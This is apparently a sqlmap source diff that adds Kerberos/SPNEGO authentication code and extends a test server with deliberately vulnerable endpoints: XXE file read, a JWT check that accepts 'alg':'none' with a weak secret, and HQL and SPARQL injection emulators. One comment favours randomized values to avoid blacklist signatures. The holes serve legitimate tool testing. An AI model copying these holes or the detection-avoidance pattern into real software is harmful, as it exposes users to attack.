||||
j = 0
|
||||
for i in range(256):
|
||||
j = (j + s[i] + key[i % len(key)]) & 0xff
|
||||
s[i], s[j] = s[j], s[i]
|
||||
|
||||
out = bytearray(len(data))
|
||||
i = j = 0
|
||||
for n in range(len(data)):
|
||||
i = (i + 1) & 0xff
|
||||
j = (j + s[i]) & 0xff
|
||||
s[i], s[j] = s[j], s[i]
|
||||
out[n] = data[n] ^ s[(s[i] + s[j]) & 0xff]
|
||||
return bytes(out)
|
||||
|
||||
class RC4Enctype(object):
|
||||
"""rc4-hmac (etype 23, RFC 4757). The long-term key is the NT hash MD4(UTF-16LE(password)); the
|
||||
salt and iteration count are unused. Legacy, but still enabled in many AD environments."""
|
||||
|
||||
keysize = 16
|
||||
cksumtype = -138 # hmac-md5
|
||||
|
||||
def string2key(self, password, salt=None, iterations=None):
|
||||
# the password is text; encode it UTF-16LE (in py2 a str is bytes, so decode to text first)
|
||||
if isinstance(password, bytes):
|
||||
password = password.decode("utf-8")
|
||||
return _md4(password.encode("utf-16-le"))
|
||||
|
||||
@staticmethod
|
||||
def _usage(usage):
|
||||
# RFC 4757 section 3: a couple of Kerberos usages map to Microsoft-specific values (per the
|
||||
# published errata, usage 9 is NOT folded into 8 - only 3->8 and 23->13 apply)
|
||||
return struct.pack("<I", {3: 8, 23: 13}.get(usage, usage))
|
||||
|
||||
def encrypt(self, key, usage, plaintext, confounder=None):
|
||||
if confounder is None:
|
||||
confounder = os.urandom(8)
|
||||
ki = hmac.new(key, self._usage(usage), hashlib.md5).digest()
|
||||
cksum = hmac.new(ki, confounder + plaintext, hashlib.md5).digest()
|
||||
ke = hmac.new(ki, cksum, hashlib.md5).digest()
|
||||
return cksum + _rc4(ke, confounder + plaintext)
|
||||
|
||||
def decrypt(self, key, usage, ciphertext):
|
||||
if len(ciphertext) < 24:
|
||||
raise ValueError("rc4-hmac ciphertext too short")
|
||||
cksum, data = ciphertext[:16], ciphertext[16:]
|
||||
ki = hmac.new(key, self._usage(usage), hashlib.md5).digest()
|
||||
ke = hmac.new(ki, cksum, hashlib.md5).digest()
|
||||
plaintext = _rc4(ke, data)
|
||||
if not _eq(cksum, hmac.new(ki, plaintext, hashlib.md5).digest()):
|
||||
raise ValueError("Kerberos integrity check failed (wrong key or corrupted ciphertext)")
|
||||
return plaintext[8:] # strip the 8-byte confounder
|
||||
|
||||
def checksum(self, key, usage, data):
|
||||
ksign = hmac.new(key, b"signaturekey\x00", hashlib.md5).digest()
|
||||
return hmac.new(ksign, hashlib.md5(self._usage(usage) + bytes(data)).digest(), hashlib.md5).digest()
|
||||
|
||||
# etype number -> enctype implementation
|
||||
ENCTYPES = {
|
||||
17: AESEnctype(16),
|
||||
18: AESEnctype(32),
|
||||
23: RC4Enctype(),
|
||||
}
|
||||
@@ -0,0 +1,142 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
# Minimal, dependency-free ASN.1 DER codec covering exactly the constructs Kerberos (RFC 4120) uses:
|
||||
# INTEGER, OCTET STRING, GeneralString, GeneralizedTime, BIT STRING, SEQUENCE / SEQUENCE OF, EXPLICIT
|
||||
# context tags [n] and [APPLICATION n]. All Kerberos tag numbers are <= 30, so only the low-tag-number
|
||||
# form is needed. Encoders return bytes; decoders accept bytes/bytearray. Python 2.7 / 3.x.
|
||||
|
||||
# universal tag bytes
|
||||
INTEGER = 0x02
|
||||
BIT_STRING = 0x03
|
||||
OCTET_STRING = 0x04
|
||||
GENERAL_STRING = 0x1b
|
||||
GENERALIZED_TIME = 0x18
|
||||
SEQUENCE = 0x30 # 0x10 | constructed(0x20)
|
||||
|
||||
def _encodeLength(length):
|
||||
if length < 0x80:
|
||||
return bytearray([length])
|
||||
out = bytearray()
|
||||
while length:
|
||||
out.insert(0, length & 0xff)
|
||||
length >>= 8
|
||||
return bytearray([0x80 | len(out)]) + out
|
||||
|
||||
def _tlv(tag, value):
|
||||
value = bytearray(value)
|
||||
return bytes(bytearray([tag]) + _encodeLength(len(value)) + value)
|
||||
|
||||
# ---- context / application tags (EXPLICIT) --------------------------------------------------------
|
||||
def contextTag(number):
|
||||
return 0x80 | 0x20 | number # context-specific, constructed
|
||||
|
||||
def applicationTag(number):
|
||||
return 0x40 | 0x20 | number # application, constructed
|
||||
|
||||
def tagged(number, innerTLV):
|
||||
"""EXPLICIT [n] wrapper around an already-encoded inner TLV."""
|
||||
|
||||
return _tlv(contextTag(number), innerTLV)
|
||||
|
||||
def application(number, innerTLV):
|
||||
"""[APPLICATION n] wrapper around an already-encoded inner TLV."""
|
||||
|
||||
return _tlv(applicationTag(number), innerTLV)
|
||||
|
||||
# ---- primitive encoders ---------------------------------------------------------------------------
|
||||
def integer(value):
|
||||
content = bytearray()
|
||||
if value == 0:
|
||||
content = bytearray([0])
|
||||
elif value > 0:
|
||||
n = value
|
||||
while n:
|
||||
content.insert(0, n & 0xff)
|
||||
n >>= 8
|
||||
if content[0] & 0x80: # keep the sign bit clear for a positive value
|
||||
content.insert(0, 0x00)
|
||||
else:
|
||||
n = value
|
||||
while True:
|
||||
content.insert(0, n & 0xff)
|
||||
n >>= 8
|
||||
if n == -1 and (content[0] & 0x80):
|
||||
break
|
||||
return _tlv(INTEGER, content)
|
||||
|
||||
def octetString(value):
|
||||
return _tlv(OCTET_STRING, value)
|
||||
|
||||
def generalString(value):
|
||||
return _tlv(GENERAL_STRING, value if isinstance(value, bytes) else value.encode("utf-8"))
|
||||
|
||||
def generalizedTime(value):
|
||||
"""'value' is a 'YYYYMMDDHHMMSSZ' UTC string."""
|
||||
|
||||
return _tlv(GENERALIZED_TIME, value if isinstance(value, bytes) else value.encode("ascii"))
|
||||
|
||||
def bitString(value, unusedBits=0):
|
||||
return _tlv(BIT_STRING, bytearray([unusedBits]) + bytearray(value))
|
||||
|
||||
def sequence(*elements):
|
||||
return _tlv(SEQUENCE, b"".join(bytes(_) for _ in elements))
|
||||
|
||||
def sequenceOf(elements):
|
||||
return _tlv(SEQUENCE, b"".join(bytes(_) for _ in elements))
|
||||
|
||||
# ---- decoding -------------------------------------------------------------------------------------
|
||||
def peel(data, offset=0):
|
||||
"""Parse one TLV at 'offset'; return (tag, content_bytearray, next_offset). Raises ValueError on
|
||||
truncated or indefinite-length input (the data may come from the network, so fail predictably)."""
|
||||
|
||||
data = bytearray(data)
|
||||
if offset + 2 > len(data):
|
||||
raise ValueError("truncated DER header")
|
||||
tag = data[offset]
|
||||
first = data[offset + 1]
|
||||
offset += 2
|
||||
if first < 0x80:
|
||||
length = first
|
||||
elif first == 0x80:
|
||||
raise ValueError("indefinite-length DER is not permitted")
|
||||
else:
|
||||
count = first & 0x7f
|
||||
if offset + count > len(data):
|
||||
raise ValueError("truncated DER length")
|
||||
length = 0
|
||||
for _ in range(count):
|
||||
length = (length << 8) | data[offset]
|
||||
offset += 1
|
||||
if offset + length > len(data):
|
||||
raise ValueError("truncated DER content")
|
||||
return tag, data[offset:offset + length], offset + length
|
||||
|
||||
def children(content):
|
||||
"""Iterate the TLVs contained in a constructed value; yields (tag, content_bytearray)."""
|
||||
|
||||
content = bytearray(content)
|
||||
offset = 0
|
||||
out = []
|
||||
while offset < len(content):
|
||||
tag, inner, offset = peel(content, offset)
|
||||
out.append((tag, inner))
|
||||
return out
|
||||
|
||||
def decodeInteger(content):
|
||||
content = bytearray(content)
|
||||
if not content:
|
||||
return 0
|
||||
value = 0
|
||||
for b in content:
|
||||
value = (value << 8) | b
|
||||
if content[0] & 0x80: # negative (two's complement)
|
||||
value -= 1 << (8 * len(content))
|
||||
return value
|
||||
|
||||
def decodeGeneralString(content):
|
||||
return bytes(bytearray(content)).decode("utf-8", "replace")
|
||||
@@ -0,0 +1,200 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
# Dependency-free KDC discovery for a realm, so '--auth-type=Negotiate' works without an explicit
|
||||
# KDC address. Resolution order: the 'SQLMAP_KERBEROS_KDC' environment variable, then the local
|
||||
# krb5.conf [realms] section, then a DNS SRV lookup (_kerberos._tcp.<realm>), then the realm name
|
||||
# itself as a host. Returns (host, port). Python 2.7 / 3.x.
|
||||
|
||||
import os
|
||||
import re
|
||||
import socket
|
||||
import struct
|
||||
|
||||
DEFAULT_KDC_PORT = 88
|
||||
_DNS_TIMEOUT = 3
|
||||
_SRV_TYPE = 33
|
||||
_IN_CLASS = 1
|
||||
|
||||
def _splitHostPort(value, defaultPort=DEFAULT_KDC_PORT):
|
||||
value = value.strip()
|
||||
if value.startswith("["): # [IPv6] or [IPv6]:port
|
||||
host, _, rest = value[1:].partition("]")
|
||||
port = rest[1:] if rest.startswith(":") else ""
|
||||
elif value.count(":") == 1: # host:port (a single colon rules out bare IPv6)
|
||||
host, _, port = value.partition(":")
|
||||
else: # bare host or bare IPv6 literal
|
||||
host, port = value, ""
|
||||
return host, (int(port) if port.isdigit() else defaultPort)
|
||||
|
||||
# ---- krb5.conf --------------------------------------------------------------------------------
|
||||
def _fromKrb5Conf(realm):
|
||||
path = os.environ.get("KRB5_CONFIG") or "/etc/krb5.conf"
|
||||
try:
|
||||
with open(path) as f:
|
||||
content = f.read()
|
||||
except (IOError, OSError):
|
||||
return None
|
||||
|
||||
# scope the search to the [realms] section itself: '[capaths]' uses the identical
|
||||
# 'realm = { ... }' syntax, so a same-named capath block must not shadow the real one
|
||||
section = re.search(r"(?im)^[ \t]*\[realms\][ \t]*$", content)
|
||||
if not section:
|
||||
return None
|
||||
nextSection = re.search(r"(?m)^[ \t]*\[", content[section.end():])
|
||||
sectionEnd = section.end() + nextSection.start() if nextSection else len(content)
|
||||
realms = content[section.end():sectionEnd]
|
||||
|
||||
header = re.search(r"(?im)^\s*%s\s*=\s*\{" % re.escape(realm), realms)
|
||||
if not header:
|
||||
return None
|
||||
start = header.end() # brace-match so a nested '{ }' block cannot truncate us
|
||||
depth, i = 1, start
|
||||
while i < len(realms) and depth > 0:
|
||||
if realms[i] == "{":
|
||||
depth += 1
|
||||
elif realms[i] == "}":
|
||||
depth -= 1
|
||||
i += 1
|
||||
block = realms[start:i - 1]
|
||||
kdc = re.search(r"(?im)^\s*kdc\s*=\s*(\S+)", block)
|
||||
return kdc.group(1) if kdc else None
|
||||
|
||||
# ---- DNS SRV (_kerberos._tcp.<realm>) ---------------------------------------------------------
|
||||
def _nameservers():
|
||||
servers = []
|
||||
try:
|
||||
with open("/etc/resolv.conf") as f:
|
||||
for line in f:
|
||||
parts = line.split()
|
||||
if len(parts) >= 2 and parts[0] == "nameserver":
|
||||
servers.append(parts[1])
|
||||
except (IOError, OSError):
|
||||
pass
|
||||
return servers
|
||||
|
||||
def _encodeName(name):
|
||||
out = bytearray()
|
||||
for label in name.split("."):
|
||||
out.append(len(label))
|
||||
out += label.encode("ascii")
|
||||
out.append(0)
|
||||
return bytes(out)
|
||||
|
||||
_MAX_NAME_JUMPS = 64 # guards against compression-pointer cycles
|
||||
|
||||
def _skipName(data, offset):
|
||||
while True:
|
||||
if offset >= len(data):
|
||||
raise ValueError("truncated DNS name")
|
||||
length = data[offset]
|
||||
if length == 0:
|
||||
return offset + 1
|
||||
if length & 0xc0 == 0xc0: # compression pointer ends the name
|
||||
if offset + 2 > len(data):
|
||||
raise ValueError("truncated DNS pointer")
|
||||
return offset + 2
|
||||
offset += 1 + length
|
||||
|
||||
def _readName(data, offset):
|
||||
labels = []
|
||||
end = None
|
||||
jumps = 0
|
||||
while True:
|
||||
if offset >= len(data):
|
||||
raise ValueError("truncated DNS name")
|
||||
length = data[offset]
|
||||
if length == 0:
|
||||
offset += 1
|
||||
break
|
||||
if length & 0xc0 == 0xc0: # follow compression pointer (bounded, cycle-safe)
|
||||
if offset + 2 > len(data):
|
||||
raise ValueError("truncated DNS pointer")
|
||||
jumps += 1
|
||||
if jumps > _MAX_NAME_JUMPS:
|
||||
raise ValueError("too many DNS compression jumps")
|
||||
if end is None:
|
||||
end = offset + 2
|
||||
offset = ((length & 0x3f) << 8) | data[offset + 1]
|
||||
continue
|
||||
if offset + 1 + length > len(data):
|
||||
raise ValueError("truncated DNS label")
|
||||
labels.append(bytes(data[offset + 1:offset + 1 + length]).decode("ascii", "replace"))
|
||||
offset += 1 + length
|
||||
return ".".join(labels), (end if end is not None else offset)
|
||||
|
||||
def parseSrv(response):
|
||||
"""Parse SRV records from a (possibly hostile) DNS response into [(priority, weight, port,
|
||||
target), ...]. Malformed input yields an empty list rather than raising."""
|
||||
|
||||
data = bytearray(response)
|
||||
if len(data) < 12:
|
||||
return []
|
||||
try:
|
||||
qdcount, ancount = struct.unpack(">HH", bytes(data[4:8]))
|
||||
offset = 12
|
||||
for _ in range(qdcount):
|
||||
offset = _skipName(data, offset) + 4 # + qtype/qclass
|
||||
records = []
|
||||
for _ in range(ancount):
|
||||
offset = _skipName(data, offset)
|
||||
if offset + 10 > len(data):
|
||||
break
|
||||
rtype, rclass, _ttl, rdlength = struct.unpack(">HHIH", bytes(data[offset:offset + 10]))
|
||||
offset += 10
|
||||
if offset + rdlength > len(data):
|
||||
break
|
||||
if rtype == _SRV_TYPE and rclass == _IN_CLASS and rdlength >= 6:
|
||||
priority, weight, port = struct.unpack(">HHH", bytes(data[offset:offset + 6]))
|
||||
target = _readName(data, offset + 6)[0].rstrip(".")
|
||||
if target:
|
||||
records.append((priority, weight, port, target))
|
||||
offset += rdlength
|
||||
return records
|
||||
except (ValueError, struct.error, IndexError):
|
||||
return []
|
||||
|
||||
def _fromDnsSrv(realm):
|
||||
queryId = os.urandom(2)
|
||||
query = (queryId + struct.pack(">HHHHH", 0x0100, 1, 0, 0, 0) +
|
||||
_encodeName("_kerberos._tcp.%s" % realm) + struct.pack(">HH", _SRV_TYPE, _IN_CLASS))
|
||||
for server in _nameservers():
|
||||
family = socket.AF_INET6 if ":" in server else socket.AF_INET
|
||||
sock = socket.socket(family, socket.SOCK_DGRAM)
|
||||
sock.settimeout(_DNS_TIMEOUT)
|
||||
try:
|
||||
sock.connect((server, 53)) # connect() so the kernel drops replies from any other source
|
||||
sock.send(query)
|
||||
response = sock.recv(4096)
|
||||
except socket.error:
|
||||
continue
|
||||
finally:
|
||||
sock.close()
|
||||
if len(response) < 2 or response[:2] != queryId: # ignore stray / spoofed replies
|
||||
continue
|
||||
records = parseSrv(response)
|
||||
if records:
|
||||
best = min(records, key=lambda r: (r[0], -r[1])) # lowest priority, then highest weight
|
||||
return best[3], best[2]
|
||||
return None
|
||||
|
||||
def discoverKdc(realm):
|
||||
"""Resolve (host, port) of a KDC for the realm; falls back to the realm name itself as a host."""
|
||||
|
||||
override = os.environ.get("SQLMAP_KERBEROS_KDC")
|
||||
if override:
|
||||
return _splitHostPort(override)
|
||||
|
||||
configured = _fromKrb5Conf(realm)
|
||||
if configured:
|
||||
return _splitHostPort(configured)
|
||||
|
||||
fromDns = _fromDnsSrv(realm)
|
||||
if fromDns:
|
||||
return fromDns
|
||||
|
||||
return realm.lower(), DEFAULT_KDC_PORT
|
||||
@@ -0,0 +1,33 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
# Minimal GSS-API / SPNEGO (RFC 2743, RFC 4178) wrapping of a Kerberos AP-REQ into the token carried
|
||||
# by the HTTP "Authorization: Negotiate <base64>" header. Only the initiator's NegTokenInit is built
|
||||
# (the one-shot token an HTTP client sends); the mechanism-specific OIDs are fixed constants.
|
||||
# Python 2.7 / 3.x.
|
||||
|
||||
from extra.kerberos import der
|
||||
|
||||
# fully-encoded OBJECT IDENTIFIER TLVs
|
||||
KRB5_OID = bytes(bytearray([0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x12, 0x01, 0x02, 0x02])) # 1.2.840.113554.1.2.2
|
||||
SPNEGO_OID = bytes(bytearray([0x06, 0x06, 0x2b, 0x06, 0x01, 0x05, 0x05, 0x02])) # 1.3.6.1.5.5.2
|
||||
|
||||
TOK_ID_AP_REQ = b"\x01\x00" # GSS Kerberos token id for KRB_AP_REQ
|
||||
|
||||
def gssApReq(apReq):
|
||||
"""GSS InitialContextToken: [APPLICATION 0] { Kerberos OID, tok-id, AP-REQ }."""
|
||||
|
||||
return der.application(0, KRB5_OID + TOK_ID_AP_REQ + apReq)
|
||||
|
||||
def negTokenInit(apReq):
|
||||
"""SPNEGO NegTokenInit wrapping the Kerberos GSS token (Kerberos advertised as the sole mech)."""
|
||||
|
||||
inner = der.sequence(
|
||||
der.tagged(0, der.sequenceOf([KRB5_OID])), # mechTypes
|
||||
der.tagged(2, der.octetString(gssApReq(apReq))), # mechToken
|
||||
)
|
||||
return der.application(0, SPNEGO_OID + der.tagged(0, inner))
|
||||
@@ -12,13 +12,11 @@ chmod +x .git/hooks/pre-commit
|
||||
|
||||
PROJECT="../../"
|
||||
SETTINGS="../../lib/core/settings.py"
|
||||
DIGEST="../../data/txt/sha256sums.txt"
|
||||
|
||||
declare -x SCRIPTPATH="${0}"
|
||||
|
||||
PROJECT_FULLPATH=${SCRIPTPATH%/*}/$PROJECT
|
||||
SETTINGS_FULLPATH=${SCRIPTPATH%/*}/$SETTINGS
|
||||
DIGEST_FULLPATH=${SCRIPTPATH%/*}/$DIGEST
|
||||
|
||||
git diff $SETTINGS_FULLPATH | grep "VERSION =" > /dev/null && exit 0
|
||||
|
||||
@@ -37,6 +35,3 @@ then
|
||||
fi
|
||||
git add "$SETTINGS_FULLPATH"
|
||||
fi
|
||||
|
||||
cd $PROJECT_FULLPATH && git ls-files | sort | uniq | grep -Pv '^\.|sha256' | xargs sha256sum > $DIGEST_FULLPATH && cd -
|
||||
git add "$DIGEST_FULLPATH"
|
||||
|
||||
@@ -10,20 +10,62 @@ See the file 'LICENSE' for copying permission
|
||||
from __future__ import print_function
|
||||
|
||||
import base64
|
||||
import hashlib
|
||||
import hmac
|
||||
import json
|
||||
import os
|
||||
import random
|
||||
import re
|
||||
import sqlite3
|
||||
import string
|
||||
import sys
|
||||
import tempfile
|
||||
import threading
|
||||
import time
|
||||
import traceback
|
||||
|
||||
PY3 = sys.version_info >= (3, 0)
|
||||
UNICODE_ENCODING = "utf-8"
|
||||
DEBUG = False
|
||||
|
||||
# A benign file with random content/name that the XXE endpoint can disclose via a file://
|
||||
# external entity, so '--xxe --file-read' has a target in the vuln-test. Randomized (never a
|
||||
# static literal) to match sqlmap's below-the-radar convention, so nothing here becomes a
|
||||
# blacklistable signature. In-process server, so callers read these same values.
|
||||
XXE_READ_MARKER = "".join(random.choice(string.ascii_lowercase + string.digits) for _ in range(20))
|
||||
XXE_READ_FILE = os.path.join(tempfile.gettempdir(), "%s.txt" % "".join(random.choice(string.ascii_lowercase) for _ in range(12)))
|
||||
try:
|
||||
with open(XXE_READ_FILE, "w") as _f:
|
||||
_f.write(XXE_READ_MARKER + "\n")
|
||||
except (IOError, OSError):
|
||||
pass
|
||||
|
||||
# Self-contained JSON Web Token forge/parse for the '/jwt' endpoint, so '--jwt' has a live target in the
|
||||
# vuln-test. The signing secret is a common one (crackable from the shipped wordlist), the endpoint accepts
|
||||
# unsigned 'alg':'none' tokens (VULN) and reflects 'kid' into a SQL error (injectable key lookup).
|
||||
JWT_SECRET = "secret"
|
||||
|
||||
def _jwt_b64url(data):
|
||||
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
|
||||
|
||||
def _jwt_forge(header, payload, secret):
|
||||
seg = lambda obj: _jwt_b64url(json.dumps(obj, separators=(',', ':')).encode(UNICODE_ENCODING))
|
||||
signingInput = "%s.%s" % (seg(header), seg(payload))
|
||||
signature = _jwt_b64url(hmac.new(secret.encode(UNICODE_ENCODING), signingInput.encode(UNICODE_ENCODING), hashlib.sha256).digest())
|
||||
return "%s.%s" % (signingInput, signature)
|
||||
|
||||
def _jwt_parse(token):
|
||||
try:
|
||||
header, payload, signature = token.split('.')
|
||||
pad = lambda value: value + '=' * (-len(value) % 4)
|
||||
return json.loads(base64.urlsafe_b64decode(pad(header))), json.loads(base64.urlsafe_b64decode(pad(payload))), signature
|
||||
except Exception:
|
||||
return None
|
||||
|
||||
JWT_TOKEN = _jwt_forge({"alg": "HS256", "typ": "JWT", "kid": "key1"}, {"user": "guest", "role": "user", "exp": 9999999999}, JWT_SECRET)
|
||||
|
||||
if PY3:
|
||||
from http.client import BAD_REQUEST
|
||||
from http.client import FORBIDDEN
|
||||
from http.client import INTERNAL_SERVER_ERROR
|
||||
from http.client import NOT_FOUND
|
||||
@@ -36,6 +78,7 @@ if PY3:
|
||||
else:
|
||||
from BaseHTTPServer import BaseHTTPRequestHandler
|
||||
from BaseHTTPServer import HTTPServer
|
||||
from httplib import BAD_REQUEST
|
||||
from httplib import FORBIDDEN
|
||||
from httplib import INTERNAL_SERVER_ERROR
|
||||
from httplib import NOT_FOUND
|
||||
@@ -217,8 +260,365 @@ def nosql_match(params):
|
||||
else: # $eq, $in (single-valued here) and any literal equality
|
||||
return record == value
|
||||
|
||||
# --- HQL endpoint (vulnerable Hibernate ORM search over a single mapped entity) -------------------
|
||||
# The query "FROM Users u WHERE u.name = '<input>'" is built by string concatenation; the evaluator
|
||||
# below reproduces just enough HQL semantics (boolean logic, EXISTS, scalar sub-queries, path
|
||||
# resolution) to make sqlmap's --hql engine detect, fingerprint, leak the entity, enumerate mapped
|
||||
# attributes and blindly extract their values. Unlike the local Hibernate lab, this endpoint reflects
|
||||
# the parser diagnostic, so it also exercises the error-based entity-leak path.
|
||||
|
||||
HQL_ENTITY = "org.vulnserver.model.Users"
|
||||
HQL_RECORD = {"id": "1", "name": "admin", "password": "s3cr3t", "role": "administrator", "email": "[email protected]"}
|
||||
|
||||
|
||||
class _HqlError(Exception):
|
||||
pass
|
||||
|
||||
|
||||
def _hql_short(name):
|
||||
return re.split(r"[.$]", name)[-1]
|
||||
|
||||
|
||||
def _hql_no_row(atom):
|
||||
"""True when a row-walk bound "_h2.<pin> > <n>" excludes the only record, so the
|
||||
scalar sub-query resolves to NULL and its comparison is false."""
|
||||
|
||||
match = re.search(r"_h2\.\w+>(\d+)", atom)
|
||||
return bool(match) and int(HQL_RECORD["id"]) <= int(match.group(1))
|
||||
|
||||
|
||||
def _hql_atom(atom):
|
||||
atom = atom.strip()
|
||||
|
||||
match = re.match(r"^'([^']*)'\s*=\s*'([^']*)'$", atom) # literal '1'='1'
|
||||
if match:
|
||||
return match.group(1) == match.group(2)
|
||||
|
||||
match = re.match(r"^(\d+)\s*=\s*(\d+)$", atom) # numeric literal 1=1 / 1=2
|
||||
if match:
|
||||
return match.group(1) == match.group(2)
|
||||
|
||||
match = re.match(r"^\w+\s*=\s*'([^']*)'$", atom) # outer: name = 'X'
|
||||
if match:
|
||||
return HQL_RECORD["name"] == match.group(1)
|
||||
|
||||
match = re.match(r"^EXISTS\(SELECT 1 FROM (\w+) _h\)$", atom, re.I) # entity brute
|
||||
if match:
|
||||
if _hql_short(match.group(1)) != _hql_short(HQL_ENTITY):
|
||||
raise _HqlError("org.hibernate.query.sqm.UnknownEntityException: Could not resolve root entity '%s'" % match.group(1))
|
||||
return True
|
||||
|
||||
match = re.match(r"^EXISTS\(SELECT _h\.(\w+) FROM (\w+) _h\)$", atom, re.I) # attribute existence
|
||||
if match:
|
||||
attr = match.group(1)
|
||||
if _hql_short(match.group(2)) != _hql_short(HQL_ENTITY) or attr not in HQL_RECORD:
|
||||
raise _HqlError("org.hibernate.query.sqm.PathElementException: Could not resolve attribute '%s' of '%s'" % (attr, HQL_ENTITY))
|
||||
return True
|
||||
|
||||
match = re.match(r"^\(SELECT LENGTH\(CAST\(_h\.(\w+) AS string\)\).*?\)\s*>=\s*(\d+)$", atom, re.I) # scalar length
|
||||
if match:
|
||||
attr, n = match.group(1), int(match.group(2))
|
||||
if attr not in HQL_RECORD:
|
||||
raise _HqlError("org.hibernate.query.sqm.PathElementException: Could not resolve attribute '%s' of '%s'" % (attr, HQL_ENTITY))
|
||||
if _hql_no_row(atom): # row-walk cursor advanced past the only record
|
||||
return False
|
||||
return len(HQL_RECORD[attr]) >= n
|
||||
|
||||
match = re.match(r"^\(SELECT LOCATE\(SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\),'([^']*)'\).*?\)\s*>=\s*(\d+)$", atom, re.I) # scalar char (LOCATE index)
|
||||
if match:
|
||||
attr, pos, literal, n = match.group(1), int(match.group(2)), match.group(3), int(match.group(4))
|
||||
if attr not in HQL_RECORD:
|
||||
raise _HqlError("org.hibernate.query.sqm.PathElementException: Could not resolve attribute '%s' of '%s'" % (attr, HQL_ENTITY))
|
||||
if _hql_no_row(atom):
|
||||
return False
|
||||
value = HQL_RECORD[attr]
|
||||
index = (literal.find(value[pos - 1]) + 1) if pos <= len(value) else 0 # 1-based, 0 if absent
|
||||
return index >= n
|
||||
|
||||
match = re.match(r"^(?:\w+\.)?(\w+)\s+IS NOT NULL$", atom, re.I) # path probe (entity leak)
|
||||
if match:
|
||||
attr = match.group(1)
|
||||
if attr not in HQL_RECORD:
|
||||
raise _HqlError("org.hibernate.query.sqm.PathElementException: Could not resolve attribute '%s' of '%s'" % (attr, HQL_ENTITY))
|
||||
return HQL_RECORD[attr] is not None
|
||||
|
||||
raise _HqlError("org.hibernate.query.SyntaxException: unexpected token near '%s'" % atom[:24])
|
||||
|
||||
|
||||
def hql_evaluate(value):
|
||||
"""Evaluate "name = '<value>'" as an HQL boolean; returns True/False or raises _HqlError."""
|
||||
|
||||
clause = "name = '%s'" % value
|
||||
return any(all(_hql_atom(a) for a in term.split(" AND ")) for term in clause.split(" OR "))
|
||||
|
||||
# --- SPARQL endpoint (vulnerable name search over a tiny in-memory triple store) ------------------
|
||||
|
||||
class _SparqlError(Exception):
|
||||
pass
|
||||
|
||||
# (subject, predicate, object) triples of the default graph. Objects are what a blind dump recovers.
|
||||
SPARQL_TRIPLES = (
|
||||
("http://example.org/p1", "http://xmlns.com/foaf/0.1/name", "luther"),
|
||||
("http://example.org/p1", "http://xmlns.com/foaf/0.1/mbox", "[email protected]"),
|
||||
("http://example.org/secret", "http://example.org/flag", "S3CR3Tvalue"),
|
||||
)
|
||||
_SPARQL_PREDICATES = sorted(set(_[1] for _ in SPARQL_TRIPLES))
|
||||
_SPARQL_OBJECTS = sorted(_[2] for _ in SPARQL_TRIPLES)
|
||||
|
||||
|
||||
def _sparql_bind(inner, offset):
|
||||
"""The string/integer a sub-pattern binds to ?v, or None when the OFFSET is past the end."""
|
||||
|
||||
if "COUNT(*)" in inner:
|
||||
return len(SPARQL_TRIPLES)
|
||||
if "COUNT(DISTINCT ?p)" in inner:
|
||||
return len(_SPARQL_PREDICATES)
|
||||
if "DISTINCT ?p" in inner:
|
||||
return _SPARQL_PREDICATES[offset] if offset < len(_SPARQL_PREDICATES) else None
|
||||
if "SELECT ?o" in inner:
|
||||
return _SPARQL_OBJECTS[offset] if offset < len(_SPARQL_OBJECTS) else None
|
||||
return None
|
||||
|
||||
|
||||
def _sparql_cmp(value, cmp):
|
||||
"""Evaluate one comparison on the bound ?v, mirroring SPARQL semantics (an out-of-range SUBSTR is
|
||||
the empty string, which is lexicographically below any real character)."""
|
||||
|
||||
match = re.match(r"^\?v >= (\d+)$", cmp)
|
||||
if match:
|
||||
return isinstance(value, int) and value >= int(match.group(1))
|
||||
match = re.match(r"^STRLEN\(STR\(\?v\)\) >= (\d+)$", cmp)
|
||||
if match:
|
||||
return len("%s" % value) >= int(match.group(1))
|
||||
# a quote or a backslash arrives ECHAR-escaped, the way a real store receives it inside a literal
|
||||
match = re.match(r'^SUBSTR\(STR\(\?v\),(\d+),1\) >= "(\\.|.)"$', cmp)
|
||||
if match:
|
||||
pos, ch = int(match.group(1)), match.group(2)
|
||||
ch = {'\\"': '"', "\\\\": "\\"}.get(ch, ch)
|
||||
text = "%s" % value
|
||||
return (text[pos - 1] if pos <= len(text) else "") >= ch
|
||||
return False
|
||||
|
||||
|
||||
def _sparql_predicate(pred):
|
||||
"""Evaluate one injected FILTER predicate against the store."""
|
||||
|
||||
pred = pred.strip()
|
||||
if pred in ("1=1", "(1=1)"):
|
||||
return True
|
||||
if pred in ("1=2", "(1=2)"):
|
||||
return False
|
||||
if "FILTER(!isIRI(?zo))" in pred: # the confirm contradiction (two FILTERs)
|
||||
return False
|
||||
if pred == "EXISTS { ?zs ?zp ?zo }": # the confirm positive
|
||||
return bool(SPARQL_TRIPLES)
|
||||
match = re.match(r"^EXISTS \{ SELECT \?v WHERE \{ (.*) FILTER\((.*)\) \} \}$", pred)
|
||||
if match:
|
||||
inner, cmp = match.group(1).strip(), match.group(2).strip()
|
||||
offset = 0
|
||||
off = re.search(r"OFFSET (\d+)", inner)
|
||||
if off:
|
||||
offset = int(off.group(1))
|
||||
value = _sparql_bind(inner, offset)
|
||||
return value is not None and _sparql_cmp(value, cmp)
|
||||
return False
|
||||
|
||||
|
||||
def sparql_evaluate(value):
|
||||
"""Evaluate the injected FILTER of SELECT ... FILTER(?name = "<value>"). A well-formed boundary
|
||||
reduces to its injected predicate; anything that leaves the string literal unbalanced raises a
|
||||
Jena-style parser error (the fingerprint surface)."""
|
||||
|
||||
# recognised OR-style boundaries: <base><quote> || (<PRED>) || <tail>
|
||||
for quote, tail in (('"', '""!="'), ("'", "''!='")):
|
||||
marker = '%s || (' % quote
|
||||
suffix = ') || %s' % tail
|
||||
if marker in value and value.endswith(suffix):
|
||||
